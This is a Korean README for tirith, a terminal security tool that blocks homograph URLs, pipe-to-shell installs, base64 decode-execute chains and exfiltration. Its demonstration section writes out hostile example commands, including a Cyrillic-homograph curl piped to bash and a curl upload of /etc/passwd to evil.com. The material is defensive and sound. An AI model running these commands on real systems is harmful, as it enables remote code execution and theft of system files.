
tirith v0.4.0
개발자와 AI 에이전트를 위한 터미널 보안. 호모그래프 URL, 파이프-투-셸, ANSI 인젝션, 난독화된 페이로드, 데이터 유출, 악성 AI 스킬/구성(config)이 실행되기 전에 차단합니다.
tirith
브라우저라면 잡아냈을 겁니다. 터미널은 그러지 못합니다.
웹사이트 | 문서 | SKILL.md | 변경 로그 | 릴리스
독립 오픈소스 프로젝트로, 호스팅은 Vercel 오픈소스 프로그램(2026년 봄 코호트)의 지원을 받습니다.
차이점을 발견하셨나요?
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
알 수 없습니다. 여러분의 터미널도 마찬가지입니다. 두 і 문자는 모두 라틴 문자 i가 아니라 키릴 문자(U+0456)입니다. 두 번째 URL은 공격자의 서버로 연결됩니다. 스크립트는 여러분이 눈치채기 전에 실행됩니다.
브라우저는 이 문제를 몇 년 전에 해결했습니다. 터미널은 여전히 유니코드, ANSI 이스케이프, 보이지 않는 문자를 아무 의심 없이 렌더링합니다. AI 에이전트는 내부에 무엇이 들어 있는지 검사하지 않고 셸 명령을 실행하고 패키지를 설치합니다.
Tirith가 문 앞에 서 있습니다. Tirith는 명령, 붙여넣은 콘텐츠, 스캔한 파일을 가로채어 동형이의어(homograph) URL, 난독화된 페이로드, 자격 증명 유출, 악성 AI 스킬/설정, 그리고 서명된 위협 인텔리전스 데이터베이스에서 확인된 알려진 악성 패키지/도메인/IP를 실행 전에 탐지합니다.
brew install tirith
그런 다음 셸 프로필에서 활성화하세요:
# zsh
eval "$(tirith init --shell zsh)"
# bash
eval "$(tirith init --shell bash)"
# fish
tirith init --shell fish | source
[!TIP]
eval "$(tirith init)"는 현재 셸을 자동으로 감지합니다(부모 프로세스를 검사하고 필요한 경우$SHELL로 대체합니다). 명시적인--shell플래그는 감지를 재정의하려는 경우에만 필요합니다.
또는 Tirith가 시작 파일을 대신 작성하도록 할 수 있으며, 이는 검토 후 실행 취소할 수 있는 하나의 계획으로 처리됩니다:
tirith setup recommended --scope user --shell zsh --dry-run # preview
tirith setup recommended --scope user --shell zsh # apply
인터랙티브 셸 지원에 대한 설명은 여기까지입니다. 해당 셸에서 허용되는 명령은 훅이 로드되어 정상 상태일 때 검사됩니다. 정확한 차단 동작은 셸과 모드에 따라 달라집니다. 설치 및 업그레이드 후 tirith status를 실행하세요. 이 명령은 현재 터미널에 로드된 훅이 최신 상태인지 알려줍니다. 셸 자체에서 차단 동작을 확인하려면 tirith doctor --verify-shell을 실행하고, 훅을 인가 경계로 취급하기 전에 셸별 적용을 읽어 보세요. 정상 명령은 아무 출력 없이 조용히 처리되며 일반적으로 빠른 경로를 사용합니다.
npm, cargo, mise, apt/dnf 및 기타 방법으로도 사용할 수 있습니다.
실제 동작 확인
동형이의어 공격, 실행 전 차단:
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
명령은 절대 실행되지 않습니다.
LAN 주소로의 일반 HTTP 요청, 경고만 하고 차단하지 않음:
$ curl http://192.168.1.20:8080/health
tirith: WARNING
[MEDIUM] raw_ip_url, URL uses raw IP address
[MEDIUM] plain_http_to_sink, Plain HTTP URL in execution context
[MEDIUM] private_network_access, Private network access: 192.168.1.20
경고는 stderr로 출력됩니다. 명령은 여전히 실행됩니다. 셸로 파이프된 다운로드
(curl ... | sh)는 경고가 아닙니다: curl_pipe_shell로 차단됩니다.
Base64 디코드-실행 체인, 차단됨:
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
sudo/env 래퍼와 PowerShell -EncodedCommand를 통한 디코드 체인도 포착합니다.
자격 증명 유출, 차단됨:
$ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED
[HIGH] data_exfiltration, Data exfiltration via curl upload
curl command uploads sensitive data to a remote server
curl/wget의 모든 업로드 플래그, 환경 변수($AWS_SECRET_ACCESS_KEY), 명령 치환을 모두 다룹니다.
스캔에서 탐지된 악성 스킬 파일:
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
JS/Python 파일에서 난독화된 페이로드, 동적 코드 실행, 시크릿 유출 패턴을 스캔합니다.
정상 명령, 보이지 않음:
$ git status
$ ls -la
$ docker compose up -d
아무것도 아니다. 출력 제로. tirith가 실행 중이라는 사실을 잊어버린다.
탐지하는 항목
35개 카테고리에 걸친 245개의 탐지 규칙.